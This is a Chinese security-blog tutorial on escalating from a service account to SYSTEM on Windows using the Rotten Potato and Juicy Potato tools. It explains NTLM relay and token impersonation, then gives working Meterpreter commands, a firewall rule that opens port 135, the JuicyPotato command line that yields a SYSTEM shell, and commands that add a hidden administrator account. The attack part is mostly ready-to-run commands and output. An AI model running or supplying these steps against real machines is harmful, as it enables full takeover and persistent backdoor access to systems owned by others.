通杀 | "土豆们"都知道的Window本地提权
2023-3-8 14:3:27 Author: 网络安全自修室(查看原文) 阅读量:25 收藏

点击上方蓝字关注我们

1
免责声明
      本公众号提供的工具、教程、学习路线、精品文章均为原创或互联网收集,旨在提高网络安全技术水平为目的,只做技术研究,遵守国家相关法律法规,请勿用于违法用途如果您对文章内容有疑问,可以尝试加入交流群讨论或留言私信,如有侵权请联系小编处理。
2
内容速览

介绍

烂土豆(Rotten Potato) MS16-075 提权是一个本地提权,只针对本地用户,不支持域用户 适用版本:Windows 7、8、10、2008、2012

烂土豆下载地址:

https://github.com/foxglovesec/Potato

烂土豆提权原理:

  • 欺骗 “NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端。
  • 对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的。
  • 模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。

通过烂土豆提权的重点是模拟令牌,在提权的过程中,我们最好已经获得了一个具有SeImpersonate权限或其他同等权限的账户,通常Windows中的许多服务具有此权限(IIS和SQL Server等)

烂土豆优点:

  • 100%可靠
  • 全版本通杀
  • 立即生效,不用像hot potato那样有时候需要等Windows更新才能使用

msf-烂土豆提权

上传烂土豆到靶机上,通过msf获取meterpreter 查看是否具有Selmpersonate权限

meterpreter > getprivs

##或者服务器的cmd下键入以下命令
whoami /all
whoami /priv

如下,SeImpersonatePrivilege是土豆提权的必要条件

再使用incognito执行烂土豆,欺骗得到system令牌

use incognito
list_tokens -u
execute -cH -f c:\\wmpub\\potato.exe

欺骗成功 最后一行模拟到system的令牌

meterpreter > execute -f potato.exe -Hc
Process 3104 created.
Channel 2 created.
meterpreter > list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will beavailable
Call rev2self if primary process token is SYSTEM

Delegation Tokens Available
========================================
NT SERVICE\SQLSERVERAGENT
NT SERVICE\SQLTELEMETRY
TALLY\Sarah

Impersonation Tokens Available
========================================
NT AUTHORITY\SYSTEM

模拟成功后,需要快速使用,否则令牌会消失

impersonate_token "NT AUTHORITY\\SYSTEM"

juicypotato.exe(多汁土豆提权)

下载地址:

https://github.com/ohpe/juicy-potato

个人理解的原理(说的不对,但好理解一点):

在本地账户的权限下 1.以system权限加载COM请求,认证NTLM(当然我们是本地账户,无法越权使用system权限,会认证失败) 2.再以本地账户权限发起默认135端口请求,认证NTLM(这次权限对了认证成功了) 3.分别拦截两个NTLM的数据包,替换数据,使得通过步骤1的认证,获得system权限的token 4.利用system权限的token创建进程

实现流程如下(大佬的说明)

  1. 加载COM,发出请求,权限为System 在指定ip和端口的位置尝试加载一个COM对象。RottenPotatoNG使用的COM对象为BITS,CLSID为{4991d34b-80a1-4291-83b6-3328366b9097} 可供选择的COM对象不唯一,Juicy Potato提供了多个,详细列表可参考如下地址:https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md
  2. 回应步骤1的请求,发起NTLM认证 正常情况下,由于权限不足,当前权限不是System,无法认证成功。
  3. 针对本地端口,同样发起NTLM认证,权限为当前用户 由于权限为当前用户,所以NTLM认证能够成功完成。RottenPotatoNG使用的135端口。Juicy Potato支持指定任意本地端口,但是RPC一般默认为135端口,很少被修改。
  4. 分别拦截两个NTLM认证的数据包,替换数据,通过NTLM重放使得步骤1(权限为System)的NTLM认证通过,获得System权限的Token 重放时需要注意NTLM认证的NTLM Server Challenge不同,需要修正。
  5. 利用System权限的Token创建新进程 如果开启SeImpersonate权限,调用CreateProcessWithToken,传入System权限的Token,创建的进程为System权限。如果开启SeAssignPrimaryToken权限,调用CreateProcessAsUser,传入System权限的Token,创建的进程为System权限
提权步骤:
##查看本地用户的权限,是否具有SeImpersonate或SeAssignPrimaryToken权限
whoami /all
whoami priv
如果开启SeImpersonate权限,juicypotato的参数可以使用-t t 
如果开启SeAssignPrimaryToken权限,juicypotato的参数可以使用-t u
如果均开启,可以选择-t * 如果均未开启,那么无法提权。

查看RPC默认端口是否为135

netstat -abno
##若rpc服务被修改,则使用-n 参数指定修改后的端口,如 -n 111

##添加防火墙规则,允许135端口入站
netsh advfirewall firewall add rule name="135" protocol=TCP dir=in localport=135 action=allow

不同操作系统选择可用的CLSID 参考列表:

https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md

随便选择了一个 6d18ad12-bde3-4393-b311-099c346e6df9

选择系统未占用的端口作为监听端口 最终提权命令如下

C:\wmpub\JuicyPotato.exe -t t -p c:\windows\system32\cmd.exe -l 1111 -c {<!-
- -->6d18ad12-bde3-4393-b311-099c346e6df9}

执行成功即可获取一个system权限的shell,后续就是打开任务管理器,关闭explore任务,再开启explore任务即可得到一个system权限的桌面

另一个大佬写的webshell、shellcode的juicyPotato.exe
##下载地址
https://github.com/uknowsec/JuicyPotato

提权命令

C:\juicyPotato_32.exe -p whoami

##执行命令
execute -f juicypotato.exe -p net user test 123456
execute -f juicypotato.exe -p net localgroup administrators test /add

如果想要系统学习网络安全技术

不妨加入知识星球课程

《60天入门网络安全渗透测试》

从入门到案例,贴合实战

轻松易懂、好玩实用

限时领取

知识星球

超值 | 一起学网络安全! 授人以鱼不如授人以渔!

活动优惠券

跟着60天入门学习路线一起学

期待你的到来!

往期推荐

从入门到入狱的技术,可以学,别乱用!

网络安全学习方向和资源整理(建议收藏)

一个web安全工程师的基础学习规划

资源 | 渗透测试工程师入门教程(限时领取)

5年老鸟推荐10个玩Python必备的网站

推荐十个成为网络安全渗透测试大佬的学习必备网站!

那些社工师不为人知的秘密。。。

更多内容请关注公众号

网络安全自修室

回复:”网络安全入门教程“,领取系统网络安全学习教程!

点个在看你最好看


文章来源: http://mp.weixin.qq.com/s?__biz=MzI0NDYxMzk1Mg==&mid=2247497981&idx=1&sn=0c610a6b1f795675eadec3b84feca3de&chksm=e959aed2de2e27c4bf5ee2631da73c779086670190d252dc9b64e2cd954220ada81306843c03#rd
如有侵权请联系:admin#unsafe.sh